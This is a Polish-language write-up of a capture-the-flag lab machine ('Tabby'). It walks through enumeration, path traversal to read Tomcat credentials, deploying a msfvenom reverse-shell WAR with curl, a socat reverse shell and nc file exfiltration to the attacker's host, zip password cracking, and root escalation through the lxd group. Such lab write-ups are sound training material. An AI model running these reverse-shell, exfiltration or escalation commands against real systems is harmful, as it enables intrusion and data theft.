Spis treści
Wstępna enumeracja & punkt zaczepienia
Jak zwykle naszą enumerację zaczniemy od przeskanowania wszystkich portów:
nmap -sV -A -p- -n -Pn -v -T4 -oN nmap/allports.nmap 10.10.10.194
Użyte przełączniki:
- sV – detekcja usług/wersji na otwartych portach
- A – uruchamianie agresywnego skanu (skan z wykorzystaniem skryptów, detekcji wersji wykrytych serwisów, detekcji OS oraz wykonanie traceroute)
- -p- skan wszystkich portów (w naszym przypadku TCP)
- n – wyłączenie „reverse DNS lookup”
- Pn – skan bez pingowania (zakładamy, że host jest dostępny)
- v – włączenie tzw. „verbosity”
- T4 – przyśpieszenie skanowania (niestety kosztem większej wykrywalności)
- oN – zapis wyniku do pliku
Wynik:
Nmap scan report for 10.10.10.194 Host is up (0.061s latency). Not shown: 65532 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |http-favicon: Unknown favicon MD5: 338ABBB5EA8D80B9869555ECA253D49D | http-methods: | Supported Methods: GET HEAD POST OPTIONS |http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Mega Hosting 8080/tcp open http Apache Tomcat | http-methods: | Supported Methods: OPTIONS GET HEAD POST |_http-title: Apache Tomcat No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
Na podstawie wyniku możemy stwierdzić, że na maszynie są uruchomione serwery webowe: Apache oraz Apache Tomcat. Prawdopodobnie próba eksploitacji będzie opierała się na znalezieniu luki w wyżej wymienionych serwerach.
Enumeracja dostępnych ścieżek na serwerach:
gobuster dir -u http://10.10.10.194 -w /usr/share/wordlists/dirb/common.txt -s 200,301,302 -x php,txt,html,old,bak -o gobuster_80.txt
gobuster dir -u http://10.10.10.194:8080 -w /usr/share/wordlists/dirb/common.txt -s 200,301,302 -x php,txt,html,old,bak -o gobuster_8080.txt
- u – URL do przeskanowania
- w – słownik użyty do przeskanowania
- s – wyświetl tylko wyniki w przypadku zwrócenia kodu 200,301,302
- x – skanuj w poszukiwaniu zdefiniowanych rozszerzeń
- o – zapisz wynik do pliku
Wyniki kolejno:
Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@FireFart) [+] Url: http://10.10.10.194 [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/common.txt [+] Status codes: 200,301,302 [+] User Agent: gobuster/3.0.1 [+] Extensions: old,bak,php,txt,html [+] Timeout: 10s 2020/08/27 14:49:28 Starting gobuster /assets (Status: 301) /favicon.ico (Status: 200) /files (Status: 301) /index.php (Status: 200) /index.php (Status: 200) /news.php (Status: 200) /Readme.txt (Status: 200) 2020/08/27 14:51:26 Finished
Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@FireFart) [+] Url: http://10.10.10.194:8080 [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/common.txt [+] Status codes: 200,301,302 [+] User Agent: gobuster/3.0.1 [+] Extensions: php,txt,html,old,bak [+] Timeout: 10s 2020/08/27 14:50:39 Starting gobuster /docs (Status: 302) /examples (Status: 302) /host-manager (Status: 302) /index.html (Status: 200) /index.html (Status: 200) /manager (Status: 302) 2020/08/27 14:52:36 Finished
Ścieżki /manager oraz /host-manager to defaultowe ścieżki do panelu logowania na serwer Apache Tomcat. Wchodząc na stronę startową, można również zauważyć, że wersja Tomcata to 9. Przeprowadziłem atak słownikowy na panel logowania z wykorzystaniem modułu Metasploita:
msf5 > use auxiliary/scanner/http/tomcat_mgr_login msf5 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts 10.10.10.194 rhosts => 10.10.10.194 msf5 auxiliary(scanner/http/tomcat_mgr_login) > set rport 8080 rport => 8080 msf5 auxiliary(scanner/http/tomcat_mgr_login) > run
Jednakże bezskutecznie. Po przestudiowaniu materiału oraz zainstalowaniu Apache Tomcat lokalnie na Kalim moje poszukiwania skupiły się wokół znalezienia metody jak odczytać plik tomcat-users.xml, który zawiera login i hasło użytkownika.
Po bezskutecznych próbach, swoją uwagę zwróciłem na web server na porcie 80. Odkryłem, że na podstronie /news.php możemy skutecznie przeprowadzić atak Path Traversal. Manipulujemy zatem zapytaniami http:
Wykorzystując tą podatność możemy odczytać plik z credentialami tomcat-users.xml. Po przestudiowaniu masy artykułów na temat domyślnego położenia tego pliku na hoście, w końcu znalazłem odpowiednią ścieżkę (po godzinach spędzonych na fuzzingu….):
Zapisujemy użytkownika oraz hasło.
Następnym krokiem było wygenerowanie reverse-shella oraz osadzenie go na atakowanym serwerze.
Generowanie payloadu:
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT=1234 -f war > shell.war
W tym momencie napotykamy na pewne utrudnienie. Otóż nasz użytkownik nie ma ustawionej roli: manager-gui. Dlatego nie możemy zalogować się na interfejs webowy.
W takim wrazie do uploadu złośliwego pliku wykorzystamy narzędzie curl:
$ curl -u 'tomcat':'$3cureP4s5w0rd123!' -T shell.war 'http://10.10.10.194:8080/manager/text/deploy?path=/shell&update=true' OK - Deployed application at context path [/shell]
Wchodzimy na adres:
http://10.10.10.194:8080/shell
i otrzymujemy połączenie zwrotne:
$ nc -nlvp 1234 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::1234 Ncat: Listening on 0.0.0.0:1234 Ncat: Connection from 10.10.10.194. Ncat: Connection from 10.10.10.194:47178. id; hostname uid=997(tomcat) gid=997(tomcat) groups=997(tomcat) tabby
Mamy dostęp do maszyny jako nisko uprzywilejowany użytkownik!
Zdobycie uprawnień usera
Po pierwsze zrobimy spawning w pełni interaktywnego shella. Do tego posłuży nam socat. Przenosimy socata na atakowaną maszynę i zestawiamy połączenie:
Na Kalim:
socat file:`tty`,raw,echo=0 tcp-listen:4444
Na atakowanej maszynie:
./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<myip>:4444
Otrzymujemy połączenie zwrotne z interaktywną powłoką:
$ socat file:tty
,raw,echo=0 tcp-listen:4444
tomcat@tabby:/tmp$ id
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)
Sporo czasu zajęła mi eksploracja maszyny. Po sprawdzeniu połączeń sieciowych, wykonaniu skryptów enumeracyjnych oraz przejrzeniu uruchomionych procesów natknąłem się na ciekawy plik:
tomcat@tabby:/var/www/html/files$ ls -la
total 36
drwxr-xr-x 4 ash ash 4096 Jun 17 21:59 .
drwxr-xr-x 4 root root 4096 Jun 17 16:24 ..
-rw-r--r-- 1 ash ash 8716 Jun 16 13:42 16162020_backup.zip
drwxr-xr-x 2 root root 4096 Jun 16 20:13 archive
drwxr-xr-x 2 root root 4096 Jun 16 20:13 revoked_certs
-rw-r--r-- 1 root root 6507 Jun 16 11:25 statement
Pobierzmy plik na Kaliego z wykorzystaniem narzędzia netcat:
Na maszynie atakowanej:
$ nc -w 3 <myip> 5555 < 16162020_backup.zip
Na Kalim:
$ nc -l -p 5555 > backup.zip $ ls | grep backup.zip backup.zip
Okazało się, że plik jest zabezpieczony hasłem. W tym miejscu z pomocą przychodzi nam narzędzie fcrackzip:
$ fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' backup.zip PASSWORD FOUND!!!!: pw == admin@it
Mamy hasło!!! Jednak po rozpakowaniu paczki nic ciekawego tam nie znaleźliśmy……
Po kilku godzinach głowenia się, okazało się, że czasami najprostsze rozwiązania są najlepsze:
tomcat@tabby:/var/www/html/files$ su ash Password: ash@tabby:/var/www/html/files$ id uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
Wystarczyło przelogować się na użytkownika, wcześniej zdobytym hasłem.
Zdobycie uprawnień roota
Pierwsze co rzuca się w oczy przy eskalacji uprawnień to to że nasz użytkownik należy do wielu niestandardowych grup.
Uruchomiłem skrypt enumeracyjny LinEnum.sh i dostałem ciekawy wynik:
[+] We're a member of the (lxd) group - could possibly misuse these rights! uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
Przesukałem więc internet w poszukiwaniu dostępnych artykułów na ten temat i znalazłem prawdziwą perełkę 🙂
Artykuł opisuje, w jaki sposób konto w systemie, które jest członkiem grupy lxd, może zwiększyć uprawnienia do roota, wykorzystując funkcje LXD.
Zabrałem się do roboty.
Na Kali pobrałem lxd-alpine builder oraz uruchomiłem (ważne by zrobić to z uprawnieniami roota):
$ git clone https://github.com/saghul/lxd-alpine-builder.git cd lxd-alpine-builder $ ./build-alpine
Wynikeim jest paczka alpine.
# ls -la
razem 3168
drwxr-xr-x 3 mateusz mateusz 4096 sie 27 09:31 .
drwxr-xr-x 5 mateusz mateusz 4096 sie 27 09:27 ..
-rw-r--r-- 1 root root 3187452 sie 27 09:31 alpine-v3.12-x86_64-20200827_0931.tar.gz
-rwxr-xr-x 1 mateusz mateusz 7498 sie 27 09:27 build-alpine
drwxr-xr-x 8 mateusz mateusz 4096 sie 27 09:27 .git
-rw-r--r-- 1 mateusz mateusz 26530 sie 27 09:27 LICENSE
-rw-r--r-- 1 mateusz mateusz 768 sie 27 09:27 README.md
Uruchomiłem serwer http i przeniosłem wygenerowaną na atakowaną maszynę.
# python -m SimpleHTTPServer Serving HTTP on 0.0.0.0 port 8000 … 10.10.10.194 - - [27/Aug/2020 17:22:02] "GET /alpine-v3.12-x86_64-20200827_0931.tar.gz HTTP/1.1" 200 -
$ wget <myip>:8000/alpine-v3.12-x86_64-20200827_0931.tar.gz
Następnie zgodnie z artykułem wykonałem następujące komendy:
Na początku zainicjalizowałem proces LXD:
ash@tabby:~$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]:
Name of the new storage pool [default=default]:
Name of the storage backend to use (lvm, ceph, btrfs, dir) [default=btrfs]: dir
Would you like to connect to a MAAS server? (yes/no) [default=no]:
Would you like to create a new local network bridge? (yes/no) [default=yes]:
What should the new bridge be called? [default=lxdbr0]:
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
Would you like LXD to be available over the network? (yes/no) [default=no]:
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:
Następnie zabrałem się za eskalację uprawnień:
ash@tabby:~$ lxc image import ./alpine-v3.12-x86_64-20200827_0931.tar.gz --alias myimage ash@tabby:~$ lxc image list +---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+ | ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE | +---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+ | myimage | a30c4e462831 | no | alpine v3.12 (20200827_09:31) | x86_64 | CONTAINER | 3.04MB | Aug 27, 2020 at 3:41pm (UTC) | +---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
ash@tabby:~$ lxc init myimage ignite -c security.privileged=true
Creating ignite
ash@tabby:~$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to ignite
ash@tabby:~$ lxc start ignite
ash@tabby:~$ lxc exec ignite /bin/sh
~ # id
uid=0(root) gid=0(root)
W taki oto sposób stworzyliśmy kontener z uprawnieniami roota, który zawiera wszystkie pliki hostującej go maszyny! Jest to jednoznaczne z uzyskaniem uprawnień roota na maszynie:
~ # cd /mnt/root/root /mnt/root/root # ls root.txt snap